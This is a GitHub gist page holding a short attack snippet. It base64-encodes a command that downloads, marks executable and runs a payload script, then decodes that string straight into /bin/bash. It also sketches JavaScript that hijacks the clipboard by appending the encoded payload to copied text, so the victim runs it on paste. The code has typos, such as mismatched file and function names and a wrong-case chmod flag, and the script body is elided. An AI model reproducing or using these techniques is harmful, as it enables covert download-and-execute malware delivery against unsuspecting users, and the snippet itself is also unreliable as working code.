Created
June 3, 2016 16:53
-
-
Save 29942016/e62673508e5ee7a9194b284c648a58d2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Hide a payload in base64 | |
echo 'wget myplayoad.sh; chmod +X ./mypayload.sh; ./mypayload.sh' | base64 | |
#execution: | |
echo d2dldCBteXBsYXlvYWQuc2g7IGNobW9kICtYIC4vbXlwYXlsb2FkLnNoOyAuL215cGF5bG9hZC5zaAo= | base64 -d | /bin/bash | |
#javascript clipboard hijack, then force execution on paste. | |
#javascript example: | |
document.oncopy = hijackClipboard; | |
function hijackClipbaord() | |
{ | |
var userSelection = window.getSelection(); | |
userSelection += "my base64 payload"; | |
... | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment